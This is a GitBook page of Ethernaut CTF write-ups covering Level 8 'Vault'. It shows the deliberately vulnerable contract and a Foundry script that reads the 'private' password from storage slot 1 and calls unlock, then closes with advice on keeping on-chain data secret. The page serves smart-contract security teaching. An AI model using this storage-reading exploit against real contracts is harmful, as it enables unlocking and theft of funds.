Eridian
eridian.xyzx.comGitHub
  • 📖Eridian Docs
  • Ethereum Dev
    • ✏️Ethereum Notes
      • 🎛️Technical Basics
      • 🪧Ethereum Addresses
      • 📚Ethereum State Explained
      • ⛽Gas Fees Explained
    • 🔧Useful Tools
      • ☁️Ethers
      • *️⃣Ethernal
    • 📝Solidity Notes
      • ❔Interview Questions
        • 🟢1. Easy - Interview Questions
        • 🟠2. Medium - Interview Questions
        • 🟡3. Hard - Interview Questions
        • 🔴4. Advanced - Interview Questions
      • 💡Note Ideas
      • ABI
      • abi.encodePacked
      • Abstract Contracts
      • Arrays
      • Casting
      • CEI - Checks, Effects, Interactions
      • Comments (NATSPEC)
      • Constructor
      • Contract Structure & Versions
      • Data - Storage vs Memory
      • Data - Storage Layout
      • Enum
      • Errors (require & revert)
      • Events
      • EVM Opcodes
      • External Contract Interaction
      • 🏗️External Dependencies
      • Functions
      • Function Modifiers
      • If / Else / For / While Loops
      • Inheritance
      • Interfaces
      • Keccak256
      • Library
      • Mappings
      • msg.sender
      • Objects & Types
      • OpenZeppelin
      • Payable
      • Public State Variable vs Function
      • Receive & Fallback
      • Security
      • Self Destruct
      • Send ETH (transfer, send, call)
      • Stack Too Deep
      • Structs
      • Style Guide
      • Time Units
      • Try / Catch
      • Typecasting
      • Using Directive
      • Variables, Consts & Immutable
      • Withdraws
    • ⚒️Foundry Notes
      • 📖Docs & GitHub Pages
      • 🤝Useful Commands
        • 🔨Anvil
        • 🪄Cast
        • 🔥Forge
      • 🧪Tests
        • Cheatcodes
      • 📝Useful Scripts
        • Deploy Contract Using Hex
    • 👾DeFi Challenges
      • 👨‍🚀Ethernaut
        • Ethernaut - Template
        • Level 1 - Fallback ⏺
        • Level 2 - Fallout ⏺
        • Level 3 - Coin Flip ⏺⏺
        • Level 4 - Telephone ⏺
        • Level 5 - Token ⏺⏺
        • Level 6 - Delegation ⏺⏺
        • Level 7 - Force ⏺⏺⏺
        • Level 8 - Vault ⏺⏺
        • Level 9 - King ⏺⏺⏺
        • Level 10 - Re-entrancy ⏺⏺⏺
        • Level 11 - Elevator ⏺⏺
        • Level 12 - Privacy ⏺⏺⏺
        • Level 13 - Gatekeeper 1 ⏺⏺⏺⏺
        • Level 14 - Gatekeeper 2 ⏺⏺⏺
        • Level 15 - Naught Coin ⏺⏺⏺
        • Level 16 - Preservation ⏺⏺⏺⏺
        • Level 17 - Recovery ⏺⏺⏺
        • Level 18 - Magic Number ⏺⏺⏺
        • Level 19 - Alien Codex ⏺⏺⏺⏺
        • Level 20 - Denial ⏺⏺⏺
        • Level 21 - Shop ⏺⏺
        • Level 22 - Dex ⏺⏺
        • Level 23 - Dex Two ⏺⏺
        • Level 24 - Puzzle Wallet ⏺⏺⏺⏺
        • Level 25 - Motorbike ⏺⏺⏺
        • Level 26 - DoubleEntryPoint ⏺⏺
        • Level 27 - Good Samaritan ⏺⏺⏺
        • Level 28 - Gatekeeper 3 ⏺⏺⏺
        • Level 29 - Switch ⏺⏺⏺⏺
        • Level 30 - Higher Order ⏺⏺⏺⏺
        • Level 31 - Stake ⏺⏺⏺
      • 💸Damn Vulnerable DeFi
    • 🔍Auditing
      • 🗞️Exploit Resources
      • 🔧Audit Tools
    • 🤖MEV
  • Infrastructure Docs
    • 💻Hardware
    • 🐧Linux
      • 📖Linux Glossary
      • ⌨️Linux Commands
      • 💾Installation
      • 🏗️Maintenance
      • 🖥️Ubuntu Desktop
      • 🛜ZeroTier
      • 🎞️TMUX
      • 🔵Bluetooth
    • ⛓️Ethereum Clients
      • ⚙️Execution Clients
        • ⛏️Geth
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
        • 🐻Erigon
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
        • 🧶Besu
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
      • 🤝Beacon Clients
        • 💡Lighthouse
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
        • 🪅Teku
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
      • 💎Validator Clients
        • 💡Lighthouse
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
      • ➕L2 Clients
        • 🔵Base
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
      • 💰MEV Boost
        • 💾Installation
        • 🏗️Maintenance
    • 🚨Alerting and Monitoring
      • 🔥Prometheus
      • 🌡️HealthChecks.io
      • 📟PagerDuty
  • General Dev
    • 💾Git Notes
      • Repos
      • Committing changes
      • Branches
      • Merging & Rebasing
      • PRs
Powered by GitBook
On this page
  • Level Setup
  • Level Contract
  • Exploit
  • Completion Message
  • Notes
Edit on GitHub
  1. Ethereum Dev
  2. DeFi Challenges
  3. Ethernaut

Level 8 - Vault ⏺⏺

Last updated 8 months ago

Level Setup

Unlock the vault to pass the level!

Level Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

Exploit

Private variable aren't secret, they are just not accessible by other smart contracts directly during smart contract execution. They can be read directly from the storage slots.

  1. Use foundrys vm.load cheatcode to get the data in the slot.

make anvil-exploit-level-8

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
make holesky-exploit-level-8

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
script/Level8.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";

interface IVault {
    function unlock(bytes32 _password) external;
}

// ================================================================
// │                          LEVEL 8 - VAULT                     │
// ================================================================
contract Exploit is Script, HelperFunctions {
    function run() public {
        address targetContractAddress = getInstanceAddress();
        IVault targetContract = IVault(targetContractAddress);

        bytes32 password = vm.load(targetContractAddress, bytes32(uint256(1)));
        console.log("Password: %s", bytesToString(password));

        vm.startBroadcast();
        targetContract.unlock(password);
        vm.stopBroadcast();
    }
}
  1. Submit instance... 🥳

Completion Message

It's important to remember that marking a variable as private only prevents other contracts from accessing it. State variables marked as private and local variables are still publicly accessible.

Notes

To ensure that data is private, it needs to be encrypted before being put onto the blockchain. In this scenario, the decryption key should never be sent on-chain, as it will then be visible to anyone who looks for it. provide a way to determine whether someone possesses a secret parameter, without ever having to reveal the parameter.

👾
👨‍🚀
zk-SNARKs
The EthernautOpenZeppelin
https://github.com/EridianAlpha/ethernaut-foundry/blob/main/script/Level8.s.solgithub.com
Logo
ethernaut/contracts/src/levels/Vault.sol at a89c8f7832258655c09fde16e6602c78e5e99dbd · OpenZeppelin/ethernautGitHub
ethernaut-openzeppelin-hacks/level_8_Vault.md at e936301859334383d568a614084917100319205e · nvnx7/ethernaut-openzeppelin-hacksGitHub
Logo
Logo